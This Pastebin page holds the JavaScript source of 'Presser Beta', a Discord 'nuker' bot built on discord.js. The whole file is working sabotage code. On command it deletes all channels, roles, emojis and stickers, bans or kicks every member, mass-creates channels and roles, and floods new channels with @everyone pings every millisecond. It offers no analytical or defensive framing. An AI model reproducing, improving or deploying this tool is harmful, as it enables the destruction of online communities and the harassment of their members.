Advertisement
FlyFar

index.js

Jun 5th, 2023
838
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
JavaScript 16.14 KB | Cybersecurity | 0 0
  1. /**
  2.  * Presser Beta
  3.  * @author 7teen
  4.  */
  5. const { Client, Intents, MessageEmbed } = require("discord.js");
  6. const nuker = new Client({ intents: Object.values(Intents.FLAGS).reduce((a, b) => a + b) });
  7. const { red, greenBright, cyan, yellow } = require("chalk");
  8. const { token, prefix, userID, disableEveryone } = require("../config/config.json")
  9.  
  10. nuker.on("ready", () => {
  11.     console.clear();
  12.     console.log(red(`
  13.    
  14.                                                    
  15.     ██▓███   ██▀███  ▓█████   ██████   ██████ ▓█████  ██▀███  
  16.     ▓██░  ██▒▓██ ▒ ██▒▓█   ▀ ▒██    ▒ ▒██    ▒ ▓█   ▀ ▓██ ▒ ██▒
  17.     ▓██░ ██▓▒▓██ ░▄█ ▒▒███   ░ ▓██▄   ░ ▓██▄   ▒███   ▓██ ░▄█ ▒
  18.     ▒██▄█▓▒ ▒▒██▀▀█▄  ▒▓█  ▄   ▒   ██▒  ▒   ██▒▒▓█  ▄ ▒██▀▀█▄  
  19.     ▒██▒ ░  ░░██▓ ▒██▒░▒████▒▒██████▒▒▒██████▒▒░▒████▒░██▓ ▒██▒
  20.     ▒▓▒░ ░  ░░ ▒▓ ░▒▓░░░ ▒░ ░▒ ▒▓▒ ▒ ░▒ ▒▓▒ ▒ ░░░ ▒░ ░░ ▒▓ ░▒▓░
  21.     ░▒ ░       ░▒ ░ ▒░ ░ ░  ░░ ░▒  ░ ░░ ░▒  ░ ░ ░ ░  ░  ░▒ ░ ▒░
  22.     ░░         ░░   ░    ░   ░  ░  ░  ░  ░  ░     ░     ░░   ░
  23.     ░        ░  ░      ░        ░     ░  ░   ░    
  24.                                            
  25.                                                      
  26.                             Beta
  27.                     Nuker: ${nuker.user.tag}
  28.                     Prefix: ${prefix}
  29.     `))
  30.     nuker.user.setActivity({ name: "Presser Beta", type: "PLAYING" });
  31. });
  32.  
  33. nuker.on("messageCreate", (message) => {
  34.  
  35.     // Help Embed
  36.     const help = new MessageEmbed()
  37.         .setDescription(`**Presser Beta ;**
  38.     \n**mass channels ;**
  39.     ${prefix}mc [amount] (text) i.e \`${prefix}mc 5 test\`\n
  40.     **mass channel n ping ;**
  41.     ${prefix}cp [amount] (text), {message} i.e \`${prefix}cp 5 test, testing\`\n
  42.     **mass roles ;**
  43.     ${prefix}mr [amount] (text) i.e \`${prefix}mr 5 test\`\n
  44.     **delete channels ;**
  45.     ${prefix}dc\n
  46.     **delete roles ;**
  47.     ${prefix}dr\n
  48.     **delete emotes ;**
  49.     ${prefix}de\n
  50.     **delete stickers (new) ;**
  51.     ${prefix}ds\n
  52.     **mass kick ;**
  53.     ${prefix}mk\n
  54.     **mass ban ;**
  55.     ${prefix}mb
  56.     `)
  57.         .setFooter(`© Presser Beta`)
  58.         .setColor(0x36393E)
  59.         .setTimestamp(Date.now());
  60.  
  61.     // Perms
  62.     const channelPerms = message.guild.me.permissions.has("MANAGE_CHANNELS" || "ADMINISTRATOR");
  63.     const banPerms = message.guild.me.permissions.has("BAN_MEMBERS" || "ADMINISTRATOR");
  64.     const kickPerms = message.guild.me.permissions.has("KICK_MEMBERS" || "ADMINISTRATOR");
  65.     const rolePerms = message.guild.me.permissions.has("MANAGE_ROLES" || "ADMINISTRATOR");
  66.     const emotePerms = message.guild.me.permissions.has("MANAGE_EMOJIS_AND_STICKERS" || "ADMINISTRATOR");
  67.  
  68.     // Possible Args
  69.     let args = message.content.split(" ").slice(1);
  70.     var args1 = args[0]; // Used for amount
  71.     var args2 = args.slice(1).join(' ') // Naming things
  72.     var args3 = args.slice(2).join(', '); // Other
  73.  
  74.     if (!disableEveryone) {
  75.         // Commands
  76.  
  77.         // Help
  78.         if (message.content.startsWith(prefix + "help")) {
  79.             message.channel.send({embeds: [help]})
  80.         }
  81.  
  82.         // Mass Channels
  83.         if (message.content.startsWith(prefix + "mc")) {
  84.             MassChannels(args1, args2).catch((err) => {
  85.                 message.reply(err);
  86.             });
  87.         }
  88.  
  89.         // Delete all channels
  90.         if (message.content.startsWith(prefix + "dc")) {
  91.             DelAllChannels().catch((err) => {
  92.                 message.reply(err);
  93.             });
  94.         }
  95.  
  96.         // Mass Channels and Ping
  97.         if (message.content.startsWith(prefix + "cp")) {
  98.             MassChnPing(args1, args2, args3).catch((err) => {
  99.                 message.reply(err);
  100.             });
  101.         }
  102.  
  103.         // Mass Roles
  104.         if (message.content.startsWith(prefix + "mr")) {
  105.             MassRoles(args1, args2).catch((err) => {
  106.                 message.reply(err);
  107.             });
  108.         }
  109.  
  110.         // Delete all Roles
  111.         if (message.content.startsWith(prefix + "dr")) {
  112.             DelAllRoles().catch((err) => {
  113.                 message.reply(err);
  114.             });
  115.         }
  116.  
  117.         // Delete all Stickers
  118.         if (message.content.startsWith(prefix + "ds")) {
  119.             DelAllStickers().catch((err) => {
  120.                 message.reply(err);
  121.             });
  122.         }
  123.  
  124.         // Delete all Emotes
  125.         if (message.content.startsWith(prefix + "de")) {
  126.             DelAllEmotes().catch((err) => {
  127.                 message.reply(err);
  128.             });
  129.         }
  130.  
  131.         // Mass Ban
  132.         if (message.content.startsWith(prefix + "mb")) {
  133.             BanAll().catch((err) => {
  134.                 message.reply(err);
  135.             });
  136.         }
  137.  
  138.         // Mass Kick
  139.         if (message.content.startsWith(prefix + "mk")) {
  140.             KickAll().catch((err) => {
  141.                 message.reply(err);
  142.             });
  143.         }
  144.     } else {
  145.         // Commands
  146.  
  147.         // Help
  148.         if (message.content.startsWith(prefix + "help")) {
  149.             if (message.author.id != userID) return message.reply("You are not authorised to use any of this tools' commands.");
  150.             message.channel.send({embeds: [help]})
  151.         }
  152.  
  153.         // Mass Channels
  154.         if (message.content.startsWith(prefix + "mc")) {
  155.             if (message.author.id != userID) return message.reply("You are not authorised to use any of this tools' commands.");
  156.             MassChannels(args1, args2).catch((err) => {
  157.                 message.reply(err);
  158.             });
  159.         }
  160.  
  161.         // Delete all channels
  162.         if (message.content.startsWith(prefix + "dc")) {
  163.             if (message.author.id != userID) return message.reply("You are not authorised to use any of this tools' commands.");
  164.             DelAllChannels().catch((err) => {
  165.                 message.reply(err);
  166.             });
  167.         }
  168.  
  169.         // Mass Channels and Ping
  170.         if (message.content.startsWith(prefix + "cp")) {
  171.             if (message.author.id != userID) return message.reply("You are not authorised to use any of this tools' commands.");
  172.             MassChnPing(args1, args2, args3).catch((err) => {
  173.                 message.reply(err);
  174.             });
  175.         }
  176.  
  177.         // Mass Roles
  178.         if (message.content.startsWith(prefix + "mr")) {
  179.             if (message.author.id != userID) return message.reply("You are not authorised to use any of this tools' commands.");
  180.             MassRoles(args1, args2).catch((err) => {
  181.                 message.reply(err);
  182.             });
  183.         }
  184.  
  185.         // Delete all Roles
  186.         if (message.content.startsWith(prefix + "dr")) {
  187.             if (message.author.id != userID) return message.reply("You are not authorised to use any of this tools' commands.");
  188.             DelAllRoles().catch((err) => {
  189.                 message.reply(err);
  190.             });
  191.         }
  192.  
  193.         // Delete all Stickers
  194.         if (message.content.startsWith(prefix + "ds")) {
  195.             if (message.author.id != userID) return message.reply("You are not authorised to use any of this tools' commands.");
  196.             DelAllStickers().catch((err) => {
  197.                 message.reply(err);
  198.             });
  199.         }
  200.  
  201.         // Delete all Emotes
  202.         if (message.content.startsWith(prefix + "de")) {
  203.             if (message.author.id != userID) return message.reply("You are not authorised to use any of this tools' commands.");
  204.             DelAllEmotes().catch((err) => {
  205.                 message.reply(err);
  206.             });
  207.         }
  208.  
  209.         // Mass Ban
  210.         if (message.content.startsWith(prefix + "mb")) {
  211.             if (message.author.id != userID) return message.reply("You are not authorised to use any of this tools' commands.");
  212.             BanAll().catch((err) => {
  213.                 message.reply(err);
  214.             });
  215.         }
  216.  
  217.         // Mass Kick
  218.         if (message.content.startsWith(prefix + "mk")) {
  219.             if (message.author.id != userID) return message.reply("You are not authorised to use any of this tools' commands.");
  220.             KickAll().catch((err) => {
  221.                 message.reply(err);
  222.             });
  223.         }
  224.     }
  225.  
  226.     // Nuking Functions
  227.  
  228.     /**
  229.      * Excessive amount of channels
  230.      * @param {number} amount Amount of channels to mass create
  231.      * @param {string} channelName Name of channel
  232.      */
  233.     function MassChannels(amount, channelName) {
  234.         return new Promise((resolve, reject) => {
  235.             if (!amount) return reject("Unspecified Args: Specify the amount you wish to mass channels");
  236.             if (isNaN(amount)) return reject("Type Error: Use a number for the amout");
  237.             if (amount > 500) return reject("Amount Error: Max guild channel size is 500 | Tip: Use a number lower than 500");
  238.             if (!channelPerms) return reject("Bot Missing Permissions: 'MANAGE_CHANNELS'");
  239.             for (let i = 0; i < amount; i++) {
  240.                 if (message.guild.channels.cache.size === 500) break;
  241.                 if (!channelName) {
  242.                     message.guild.channels.create(`${message.author.username} was here`, { type: "GUILD_TEXT" }).catch((err) => { console.log(red("Error Found: " + err)) })
  243.                 } else {
  244.                     message.guild.channels.create(channelName, { type: "GUILD_TEXT" }).catch((err) => { console.log(red("Error Found: " + err)) })
  245.                 }
  246.             }
  247.             resolve();
  248.         });
  249.     }
  250.  
  251.     /**
  252.      * Excessive amount of channels and mentions
  253.      * @param {number} amount Amount of channels to mass create
  254.      * @param {string} channelName Name of channel
  255.      * @param {string} pingMessage Message to be sent when everyone is mentioned
  256.      */
  257.     function MassChnPing(amount, channelName, pingMessage) {
  258.         return new Promise((resolve, reject) => {
  259.             if (!amount) return reject("Unspecified Args: Specify the amount you wish to mass channels");
  260.             if (isNaN(amount)) return reject("Type Error: Use a number for the amout");
  261.             if (amount > 500) return reject("Amount Error: Max guild channel size is 500 | Tip: Use a number lower than 500");
  262.             if (!channelPerms) return reject("Bot Missing Permissions: 'MANAGE_CHANNELS'");
  263.             if (!pingMessage) return reject("Unspecified Args: Specify the message you wish to mass mention");
  264.             for (let i = 0; i < amount; i++) {
  265.                 if (message.guild.channels.cache.size === 500) break;
  266.                 if (!channelName) {
  267.                     message.guild.channels.create(`${message.author.username} was here`, { type: "GUILD_TEXT" }).catch((err) => { console.log(red("Error Found: " + err)) }).then((ch) => {
  268.                         setInterval(() => {
  269.                             ch.send("@everyone " + pingMessage);
  270.                         }, 1);
  271.                     });
  272.                 } else {
  273.                     message.guild.channels.create(channelName, { type: "GUILD_TEXT" }).catch((err) => { console.log(red("Error Found: " + err)) }).then((ch) => {
  274.                         setInterval(() => {
  275.                             ch.send("@everyone " + pingMessage);
  276.                         }, 1); // literally not possible but lol?
  277.                     });
  278.                 }
  279.             }
  280.             resolve();
  281.         });
  282.     }
  283.  
  284.     /**
  285.      * Deletes all channels in a guild
  286.      */
  287.     function DelAllChannels() {
  288.         return new Promise((resolve, reject) => {
  289.             if (!channelPerms) return reject("Bot Missing Permissions: 'MANAGE_CHANNELS'");
  290.             message.guild.channels.cache.forEach((ch) => ch.delete().catch((err) => { console.log(red("Error Found: " + err)) }))
  291.             resolve();
  292.         });
  293.     }
  294.  
  295.     /**
  296.      * Excessive amount of roles
  297.      * @param {number} amount Amount of roles
  298.      * @param {string} roleName Role name
  299.      */
  300.     function MassRoles(amount, roleName) {
  301.         return new Promise((resolve, reject) => {
  302.             if (!amount) return reject("Unspecified Args: Specify the amount you wish to mass roles");
  303.             if (isNaN(amount)) return reject("Type Error: Use a number for the amout");
  304.             if (!rolePerms) return reject("Bot Missing Permissions: 'MANAGE_ROLES'");
  305.             for (let i = 0; i <= amount; i++) {
  306.                 if (message.guild.roles.cache.size === 250) break;
  307.                 if (!roleName) {
  308.                     message.guild.roles.create({ name: "nuked", color: "RANDOM", position: i++ }).catch((err) => { console.log(red("Error Found: " + err)) })
  309.                 } else {
  310.                     message.guild.roles.create({ name: roleName, color: "RANDOM", position: i++ }).catch((err) => { console.log(red("Error Found: " + err)) })
  311.                 }
  312.             }
  313.         })
  314.     }
  315.  
  316.     /**
  317.      * Deletes all roles
  318.      */
  319.     function DelAllRoles() {
  320.         return new Promise((resolve, reject) => {
  321.             if (!rolePerms) return reject("Bot Missing Permissions: 'MANAGE_ROLES'");
  322.             message.guild.roles.cache.forEach((r) => r.delete().catch((err) => { console.log(red("Error Found: " + err)) }))
  323.         });
  324.     }
  325.  
  326.     /**
  327.      * Deletes all emotes
  328.      */
  329.     function DelAllEmotes() {
  330.         return new Promise((resolve, reject) => {
  331.             if (!emotePerms) return reject("Bot Missing Permissions: 'MANAGE_EMOJIS_AND_STICKERS'");
  332.             message.guild.emojis.cache.forEach((e) => e.delete().catch((err) => { console.log(red("Error Found: " + err)) }))
  333.         });
  334.     }
  335.  
  336.     /**
  337.      * Deletes all stickers
  338.      */
  339.     function DelAllStickers() {
  340.         return new Promise((resolve, reject) => {
  341.             if (!emotePerms) return reject("Bot Missing Permissions: 'MANAGE_EMOJIS_AND_STICKERS'");
  342.             message.guild.stickers.cache.forEach((s) => s.delete().catch((err) => { console.log(red("Error Found: " + err)) }))
  343.         });
  344.     }
  345.  
  346.     /**
  347.      * Ban all guild Members
  348.      */
  349.     function BanAll() {
  350.         return new Promise((resolve, reject) => {
  351.             if (!banPerms) return reject("Bot Missing Permissions: 'BAN_MEMBERS'");
  352.             let arrayOfIDs = message.guild.members.cache.map((user) => user.id);
  353.             message.reply("Found " + arrayOfIDs.length + " users.").then((msg) => {
  354.                 setTimeout(() => {
  355.                     msg.edit("Banning...");
  356.                     for (let i = 0; i < arrayOfIDs.length; i++) {
  357.                         const user = arrayOfIDs[i];
  358.                         const member = message.guild.members.cache.get(user);
  359.                         member.ban().catch((err) => { console.log(red("Error Found: " + err)) }).then(() => { console.log(greenBright(`${member.user.tag} was banned.`)) });
  360.                     }
  361.                 }, 2000);
  362.             })
  363.         })
  364.     }
  365.  
  366.     /**
  367.      * Kick all guild Members
  368.      */
  369.     function KickAll() {
  370.         return new Promise((resolve, reject) => {
  371.             if (!kickPerms) return reject("Bot Missing Permissions: 'KICK_MEMBERS'");
  372.             let arrayOfIDs = message.guild.members.cache.map((user) => user.id);
  373.             message.reply("Found " + arrayOfIDs.length + " users.").then((msg) => {
  374.                 setTimeout(() => {
  375.                     msg.edit("Banning...");
  376.                     for (let i = 0; i < arrayOfIDs.length; i++) {
  377.                         const user = arrayOfIDs[i];
  378.                         const member = message.guild.members.cache.get(user);
  379.                         member.kick().catch((err) => { console.log(red("Error Found: " + err)) }).then(() => { console.log(greenBright(`${member.user.tag} was kicked.`)) });
  380.                     }
  381.                 }, 2000);
  382.             })
  383.         })
  384.     }
  385. });
  386.  
  387. try {
  388.     nuker.login(token);
  389. } catch (err) {
  390.     console.error(err)
  391. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement